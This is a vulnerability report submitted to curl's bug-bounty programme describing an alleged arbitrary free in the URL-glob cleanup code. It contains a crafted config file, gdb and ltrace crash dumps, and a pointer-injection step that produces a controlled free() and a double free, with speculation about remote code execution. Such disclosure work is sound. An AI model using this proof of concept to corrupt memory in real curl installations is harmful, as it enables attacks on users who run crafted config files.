curl · Report #3434543
Arbitrary free in curl's config file parsing.
How it was found
Summary:
arbitrary free (leading to possible double-free / use-after-free / memory corruption, depending on the program and the ability of what a we can do after freeing the pointer we control.
Statement clarifying if an AI was used to find the issue or generate the report: Yes I used AI to list down some resources related to this bug.
Affected version
-
curl 8.17.0 (x86_64-pc-linux-gnu) libcurl/8.17.0 OpenSSL/3.4.1 zlib/1.3.1 brotli/1.1.0 zstd/1.5.7 libidn2/2.3.8 libpsl/0.21.2 nghttp2/1.64.0 librtmp/2.3 OpenLDAP/2.6.9 Release-Date: 2025-11-05 Protocols: dict file ftp ftps gopher gophers http https imap imaps ipfs ipns ldap ldaps mqtt pop3 pop3s rtmp rtsp smb smbs smtp smtps telnet tftp ws wss Features: alt-svc AsynchDNS brotli HSTS HTTP2 HTTPS-proxy IDN IPv6 Largefile libz NTLM PSL SSL threadsafe TLS-SRP UnixSockets zstd
-
and curl 8.16.0 is also affected, different samples and different controlled parameters in the config file.
OS/kernel:
- tested on Linux kali 6.3.0-kali1-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.3.7-1kali1.
Steps To Reproduce:
1.>> touch host0.bin and open it (vim host0.bin): ........ F5027150
2. paste this :
-Z
--url "http://google.com/iernay{1-2}kFORFNUUklOR1JBTkRTVFJJTkdSQU5EU1RSSU5HUkFORFNUUklOR1JBTkRTVFJJTkdSQU5EU1RSSU5HUkFORFNUUklOR1JBTkRTVFJJT"
--url "http://[::%2-socks5]:8080/"
--url google.com-Z[.-p].example.com"
--doh-url=127.0.0.1
- Run :
>> gdb -ex "r" --args curl --config host0.bin
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x2e302e302e373231 ("127.0.0."?)
$rbx : 0xffffffffffffff88
$rcx : 0x0000555555603aa0 → 0xffffffff00000001
$rdx : 0x0
$rsp : 0x00007fffffffd440 → 0x00007fffffffd6c8 → 0x0000000000000001
$rbp : 0x00007fffffffd490 → 0x00007fffffffd6e0 → 0x00007fffffffd7b0 → 0x00007fffffffd7f0 → 0x00007fffffffd830 → 0x00007fffffffd890 → 0x00007fffffffd920 → 0x00007fffffffd960
$rsi : 0x2e302e302e373221 ("!27.0.0."?)
$rdi : 0x2e302e302e373231 ("127.0.0."?)
$rip : 0x00007ffff7cb24aa → <free+001a> mov rax, QWORD PTR [rdi-0x8]
$r8 : 0x2
$r9 : 0x1
$r10 : 0x7
$r11 : 0x00005555556023d0 → 0x0000555000355422 (""T5"?)
$r12 : 0x0
$r13 : 0x00007fffffffdb28 → 0x00007fffffffdec9 → "NMAP_PRIVILEGED="
$r14 : 0x00007ffff7ffd000 → 0x00007ffff7ffe2e0 → 0x0000555555554000 → jg 0x555555554047
$r15 : 0x00005555555c6a18 → 0x000055555555e970 → <__do_global_dtors_aux+0000> endbr64
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffd440│+0x0000: 0x00007fffffffd6c8 → 0x0000000000000001 ← $rsp
0x00007fffffffd448│+0x0008: 0x000000000000000e
0x00007fffffffd450│+0x0010: 0x0000555555602c9d → ".-p].example.com""
0x00007fffffffd458│+0x0018: 0x00007fffffffd8b0 → 0x0000555555604920 → 0x00000003000bab1e
0x00007fffffffd460│+0x0020: 0x00007fffffffd490 → 0x00007fffffffd6e0 → 0x00007fffffffd7b0 → 0x00007fffffffd7f0 → 0x00007fffffffd830 → 0x00007fffffffd890 → 0x00007fffffffd920
0x00007fffffffd468│+0x0028: 0x000055555557e8a7 → <glob_cleanup+00da> mov rax, QWORD PTR [rbp-0x18]
0x00007fffffffd470│+0x0030: 0x00007fffffffd8b0 → 0x0000555555604920 → 0x00000003000bab1e
0x00007fffffffd478│+0x0038: 0x00005555555cb618 → 0x00005555556019c0 → 0x632e656c676f6f00
──────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x7ffff7cb249e <free+000e> push rbx
0x7ffff7cb249f <free+000f> sub rsp, 0x18
0x7ffff7cb24a3 <free+0013> mov rbx, QWORD PTR [rip+0x144956] # 0x7ffff7df6e00
→ 0x7ffff7cb24aa <free+001a> mov rax, QWORD PTR [rdi-0x8]
0x7ffff7cb24ae <free+001e> mov ebp, DWORD PTR fs:[rbx]
0x7ffff7cb24b1 <free+0021> test al, 0x2
0x7ffff7cb24b3 <free+0023> jne 0x7ffff7cb2510 <__GI___libc_free+128>
0x7ffff7cb24b5 <free+0025> mov rdx, QWORD PTR [rip+0x1448e4] # 0x7ffff7df6da0
0x7ffff7cb24bc <free+002c> cmp QWORD PTR fs:[rdx], 0x0
──────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "curl", stopped 0x7ffff7cb24aa in __GI___libc_free (), reason: SIGSEGV
────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7ffff7cb24aa → __GI___libc_free(mem=0x2e302e302e373231)
[#1] 0x55555557e8a7 → glob_cleanup(glob=0x5555555cb618 <globalconf+88>)
[#2] 0x55555557e7ba → glob_url(glob=0x5555555cb618 <globalconf+88>, url=0x555555602c90 "google.com-Z[.-p].example.com\"", urlnum=0x5555555cb688 <globalconf+200>, error=0x7ffff7df84e0 <_IO_2_1_stderr_>)
[#3] 0x555555575f32 → single_transfer(config=0x5555555ed9a0, share=0x5555555fff50, added=0x7fffffffd86e, skipped=0x7fffffffd86d)
[#4] 0x55555557769d → transfer_per_config(config=0x5555555ed9a0, share=0x5555555fff50, added=0x7fffffffd86e, skipped=0x7fffffffd86d)
[#5] 0x555555577704 → create_transfer(share=0x5555555fff50, added=0x7fffffffd86e, skipped=0x7fffffffd86d)
[#6] 0x555555576a88 → add_parallel_transfers(multi=0x555555604920, share=0x5555555fff50, morep=0x7fffffffd8e0, addedp=0x7fffffffd8e1)
[#7] 0x555555576f6a → parallel_transfers(share=0x5555555fff50)
[#8] 0x5555555777bd → run_all_transfers(share=0x5555555fff50, result=CURLE_OK)
[#9] 0x555555577be7 → operate(argc=0x3, argv=0x7fffffffdb08)
──────────────────────────────────────────────────
gef➤
└─$ echo -ne "0x2e302e302e373231" |xxd -r -p |rev 127.0.0. # this is what we can control (for this config file)
I created this python script mutate.py(F5027147) that replaces the controlled data in heap0.bin (127.0.0.) with an address we need to pass to __GI___libc_freeand write a new config file vuln.conf
>> python mutate.py 0x4242424242424242 && gdb -ex "r" --args curl --config vuln.conf
─$
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x4242424242424242 ("BBBBBBBB"?)
$rbx : 0xffffffffffffff88
$rcx : 0x0000555555603aa0 → 0xffffffff00000001
$rdx : 0x0
$rsp : 0x00007fffffffd440 → 0x00007fffffffd6c8 → 0x0000000000000001
$rbp : 0x00007fffffffd490 → 0x00007fffffffd6e0 → 0x00007fffffffd7b0 → 0x00007fffffffd7f0 → 0x00007fffffffd830 → 0x00007fffffffd890 → 0x00007fffffffd920 → 0x00007fffffffd960
$rsi : 0x4242424242424232 ("2BBBBBBB"?)
$rdi : 0x4242424242424242 ("BBBBBBBB"?)
$rip : 0x00007ffff7cb24aa → <free+001a> mov rax, QWORD PTR [rdi-0x8]
$r8 : 0x2
$r9 : 0x1
$r10 : 0x7
$r11 : 0x00005555556023d0 → 0x0000555000355422 (""T5"?)
$r12 : 0x0
$r13 : 0x00007fffffffdb28 → 0x00007fffffffdec9 → "NMAP_PRIVILEGED="
$r14 : 0x00007ffff7ffd000 → 0x00007ffff7ffe2e0 → 0x0000555555554000 → jg 0x555555554047
$r15 : 0x00005555555c6a18 → 0x000055555555e970 → <__do_global_dtors_aux+0000> endbr64
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffd440│+0x0000: 0x00007fffffffd6c8 → 0x0000000000000001 ← $rsp
0x00007fffffffd448│+0x0008: 0x000000000000000e
0x00007fffffffd450│+0x0010: 0x0000555555602c9d → ".-p].example.com""
0x00007fffffffd458│+0x0018: 0x00007fffffffd8b0 → 0x0000555555604920 → 0x00000003000bab1e
0x00007fffffffd460│+0x0020: 0x00007fffffffd490 → 0x00007fffffffd6e0 → 0x00007fffffffd7b0 → 0x00007fffffffd7f0 → 0x00007fffffffd830 → 0x00007fffffffd890 → 0x00007fffffffd920
0x00007fffffffd468│+0x0028: 0x000055555557e8a7 → <glob_cleanup+00da> mov rax, QWORD PTR [rbp-0x18]
0x00007fffffffd470│+0x0030: 0x00007fffffffd8b0 → 0x0000555555604920 → 0x00000003000bab1e
0x00007fffffffd478│+0x0038: 0x00005555555cb618 → 0x00005555556019c0 → 0x632e656c676f6f00
──────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x7ffff7cb249e <free+000e> push rbx
0x7ffff7cb249f <free+000f> sub rsp, 0x18
0x7ffff7cb24a3 <free+0013> mov rbx, QWORD PTR [rip+0x144956] # 0x7ffff7df6e00
→ 0x7ffff7cb24aa <free+001a> mov rax, QWORD PTR [rdi-0x8]
0x7ffff7cb24ae <free+001e> mov ebp, DWORD PTR fs:[rbx]
0x7ffff7cb24b1 <free+0021> test al, 0x2
0x7ffff7cb24b3 <free+0023> jne 0x7ffff7cb2510 <__GI___libc_free+128>
0x7ffff7cb24b5 <free+0025> mov rdx, QWORD PTR [rip+0x1448e4] # 0x7ffff7df6da0
0x7ffff7cb24bc <free+002c> cmp QWORD PTR fs:[rdx], 0x0
──────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "curl", stopped 0x7ffff7cb24aa in __GI___libc_free (), reason: SIGSEGV
────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7ffff7cb24aa → __GI___libc_free(mem=0x4242424242424242)
[#1] 0x55555557e8a7 → glob_cleanup(glob=0x5555555cb618 <globalconf+88>)
[#2] 0x55555557e7ba → glob_url(glob=0x5555555cb618 <globalconf+88>, url=0x555555602c90 "google.com-Z[.-p].example.com\"", urlnum=0x5555555cb688 <globalconf+200>, error=0x7ffff7df84e0 <_IO_2_1_stderr_>)
[#3] 0x555555575f32 → single_transfer(config=0x5555555ed9a0, share=0x5555555fff50, added=0x7fffffffd86e, skipped=0x7fffffffd86d)
[#4] 0x55555557769d → transfer_per_config(config=0x5555555ed9a0, share=0x5555555fff50, added=0x7fffffffd86e, skipped=0x7fffffffd86d)
[#5] 0x555555577704 → create_transfer(share=0x5555555fff50, added=0x7fffffffd86e, skipped=0x7fffffffd86d)
[#6] 0x555555576a88 → add_parallel_transfers(multi=0x555555604920, share=0x5555555fff50, morep=0x7fffffffd8e0, addedp=0x7fffffffd8e1)
[#7] 0x555555576f6a → parallel_transfers(share=0x5555555fff50)
[#8] 0x5555555777bd → run_all_transfers(share=0x5555555fff50, result=CURLE_OK)
[#9] 0x555555577be7 → operate(argc=0x3, argv=0x7fffffffdb08)
gef➤ where
#0 0x00007ffff7cb24aa in __GI___libc_free (mem=0x4242424242424242) at ./malloc/malloc.c:3375
#1 0x000055555557e8a7 in glob_cleanup (glob=0x5555555cb618 <globalconf+88>) at tool_urlglob.c:499
#2 0x000055555557e7ba in glob_url (glob=0x5555555cb618 <globalconf+88>,
url=0x555555602c90 "google.com-Z[.-p].example.com\"", urlnum=0x5555555cb688 <globalconf+200>,
error=0x7ffff7df84e0 <_IO_2_1_stderr_>) at tool_urlglob.c:481
#3 0x0000555555575f32 in single_transfer (config=0x5555555ed9a0, share=0x5555555fff50, added=0x7fffffffd86e,
skipped=0x7fffffffd86d) at tool_operate.c:1233
#4 0x000055555557769d in transfer_per_config (config=0x5555555ed9a0, share=0x5555555fff50, added=0x7fffffffd86e,
skipped=0x7fffffffd86d) at tool_operate.c:2132
#5 0x0000555555577704 in create_transfer (share=0x5555555fff50, added=0x7fffffffd86e, skipped=0x7fffffffd86d)
at tool_operate.c:2151
#6 0x0000555555576a88 in add_parallel_transfers (multi=0x555555604920, share=0x5555555fff50, morep=0x7fffffffd8e0,
addedp=0x7fffffffd8e1) at tool_operate.c:1486
#7 0x0000555555576f6a in parallel_transfers (share=0x5555555fff50) at tool_operate.c:1840
#8 0x00005555555777bd in run_all_transfers (share=0x5555555fff50, result=CURLE_OK) at tool_operate.c:2173
#9 0x0000555555577be7 in operate (argc=0x3, argv=0x7fffffffdb08) at tool_operate.c:2314
#10 0x0000555555573096 in main (argc=0x3, argv=0x7fffffffdb08) at tool_main.c:199
gef➤ frame 1
#1 0x000055555557e8a7 in glob_cleanup (glob=0x5555555cb618 <globalconf+88>) at tool_urlglob.c:499
499 tool_safefree(glob->pattern[i].c.set.elem[elem]);
gef➤ list
494 if(glob->pattern) {
495 for(i = 0; i < glob->size; i++) {
496 if((glob->pattern[i].type == GLOB_SET) &&
497 (glob->pattern[i].c.set.elem)) {
498 for(elem = glob->pattern[i].c.set.size - 1; elem >= 0; --elem)
499 tool_safefree(glob->pattern[i].c.set.elem[elem]);
500 tool_safefree(glob->pattern[i].c.set.elem);
501 }
502 }
503 tool_safefree(glob->pattern);
─────────────────────────────────────────────────────────
We can also confirm this using ltrace utility:
>> ltrace curl --config vuln.conf
...................
..................
curl_easy_setopt(0x5555556123e0, 99, 1, 0x2777) = 0
curl_easy_setopt(0x5555556123e0, 0x4efb, 0x55555557a7d7, 1) = 0
curl_easy_setopt(0x5555556123e0, 0x2749, 0x555555601500, 24) = 0
curl_easy_setopt(0x5555556123e0, 43, 0, 0x2749) = 0
curl_easy_setopt(0x5555556123e0, 0x271a, 0x5555556016c8, 0) = 0
curl_multi_add_handle(0x555555604920, 0x5555556123e0, 0x5555556123e0, 0x271a) = 0
curl_getenv(0x55555558f16b, 0x5555555fff50, 0, 0x7fffffffd89d) = 0
curl_getenv(0x55555558f17a, 0x7fffffffef4f, 14, 79) = 0
curl_getenv(0x55555558f187, 0x55555558f17a, 12, 83) = 0
free(nil) = <void>
memset(0x5555555cb618, '\0', 80) = 0x5555555cb618
malloc(96) = 0x555555600180
realloc(nil, 32) = 0x5555556019c0
memcpy(0x5555556019c0, "g", 1) = 0x5555556019c0
memcpy(0x5555556019c1, "o", 1) = 0x5555556019c1
memcpy(0x5555556019c2, "o", 1) = 0x5555556019c2
memcpy(0x5555556019c3, "g", 1) = 0x5555556019c3
memcpy(0x5555556019c4, "l", 1) = 0x5555556019c4
memcpy(0x5555556019c5, "e", 1) = 0x5555556019c5
memcpy(0x5555556019c6, ".", 1) = 0x5555556019c6
memcpy(0x5555556019c7, "c", 1) = 0x5555556019c7
memcpy(0x5555556019c8, "o", 1) = 0x5555556019c8
memcpy(0x5555556019c9, "m", 1) = 0x5555556019c9
memcpy(0x5555556019ca, "-", 1) = 0x5555556019ca
memcpy(0x5555556019cb, "Z", 1) = 0x5555556019cb
strchr("[.-p].example.com"", ']') = "].example.com""
curl_url(0x555555602c9c, 93, 0x7fffffffd498, 0x55555560195a) = 0x5555556039e0
memcpy(0x7fffffffd3c0, "[.-p]", 5) = 0x7fffffffd3c0
curl_url_set(0x5555556039e0, 0, 0x7fffffffd3c0, 512) = 22
curl_url_cleanup(0x5555556039e0, 0x5555556001e0, 0x7ffff7cb2490, 49) = 0x5555555cc010
malloc(8) = 0x5555556023d0
malloc(13) = 0x555555600220
memcpy(0x555555600220, "google.com-Z", 12) = 0x555555600220
strchr("[.-p].example.com"", ']') = "].example.com""
curl_url(0x555555602c9c, 93, 0x7fffffffd498, 0x5a2d6d6f632e656c) = 0x555555603a40
memcpy(0x7fffffffd3c0, "[.-p]", 5) = 0x7fffffffd3c0
curl_url_set(0x555555603a40, 0, 0x7fffffffd3c0, 512) = 22
curl_url_cleanup(0x555555603a40, 0x5555556001e0, 0x7ffff7cb2490, 49) = 0x5555555cc010
realloc(0x555555600180, 192) = 0x555555603aa0
curl_msnprintf(0x7fffffffd4f0, 512, 0x5555555903d8, 0x55555559038a) = 89
curl_mfprintf(0x7ffff7df84e0, 0x5555555903fa, 3, 0x7fffffffd4f0curl: (3) bad range specification in URL position 14:
google.com-Z[.-p].example.com"
^
) = 100
free(0x555555600220) = <void>
free(0x5555556023d0) = <void>
free(0x4242424242424242 <no return ...>
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++
Now that we confirmed that we have control over the pointer passed to free(free(0x4242424242424242 <no return ...>) we can analyse our program and decide what we can do with it.
for Simplicity, I disabled ASLR at this point:
>> echo 0 > /proc/sys/kernel/randomize_va_space
ltrace -e free -o free.txt curl --config vuln.conf (F5027151) Now if I take any address that has been freed already, and write it in the config file (vuln.conf) I got this :
─$ python mutate.py 0x555555602dd0 && ltrace curl --config vuln.conf
malloc(13) = 0x555555600220
memcpy(0x555555600220, "google.com-Z", 12) = 0x555555600220
strchr("[.-p].example.com"", ']') = "].example.com""
curl_url(0x555555602c9c, 93, 0x7fffffffd498, 0x5a2d6d6f632e656c) = 0x555555603a40
memcpy(0x7fffffffd3c0, "[.-p]", 5) = 0x7fffffffd3c0
curl_url_set(0x555555603a40, 0, 0x7fffffffd3c0, 512) = 22
curl_url_cleanup(0x555555603a40, 0x5555556001e0, 0x7ffff7cb2490, 49) = 0x5555555cc010
realloc(0x555555600180, 192) = 0x555555603aa0
curl_msnprintf(0x7fffffffd4f0, 512, 0x5555555903d8, 0x55555559038a) = 89
curl_mfprintf(0x7ffff7df84e0, 0x5555555903fa, 3, 0x7fffffffd4f0curl: (3) bad range specification in URL position 14:
google.com-Z[.-p].example.com"
^
) = 100
free(0x555555600220) = <void>
free(0x5555556023d0) = <void>
free(0x555555602dd0) = <void>
free(0x555555602dd0free(): double free detected in tcache 2
<no return ...>
--- SIGABRT (Aborted) ---
+++ killed by SIGABRT +++
Notes
-
So this is one version of the config file, it's like I generated lots of curl paramaters and propagate them in curl's config file, so I managed to pass data that I can control to free (corrupt heap)
-
Each variant exposes different pieces of controllable data that eventually reach __GI___libc_free. Some values cannot be influenced because they originate from internal cURL symbols, when several other variants give full control over the pointer passed to free().
-
Note that I haven't managed to trigger the the same crash with C code ( using <curl/curl.h> ), but it might be feasible
-
This represents one variant of the config file exploitation. By generating multiple curl parameters and propagating them through curl's configuration file, I managed to pass controllable data to the free() function, leading to heap corruption.
-
Different variants expose varying degrees of controllable data that eventually reach
__GI___libc_free(0x...). Some pointer values cannot be influenced as they originate from internal cURL symbols, while other variants provide full control over the pointer passed to free(). -
I have not managed to trigger the same crash using C code with <curl/curl.h>, though it might be feasible.
I set severity to Low, because:
-
Exploitation requires tricking a user into running a crafted config file, we can also use
~/.curlrcconfig file for suspecious parameters. -
Curl is already capable to execute commands, (This vulnerability arises from how curl processes configuration files, not from any inherent command-execution capability).
-
This needs additional vulnerability (Arbitrary read, memory leak, ..) to bypass ASLR/Tcache Mitigation, unless we leverage the same bug to achieve Read/Write primitive to later it to bypass ASLR and Tcache Mitigations.
Supporting Material/References:
Impact
Impact: Controlled pointer passed to free --> potential double-free/use-after-free --> RCE / privilege escalation, depends on the environment where curl run.
- Requires user to execute malicious config file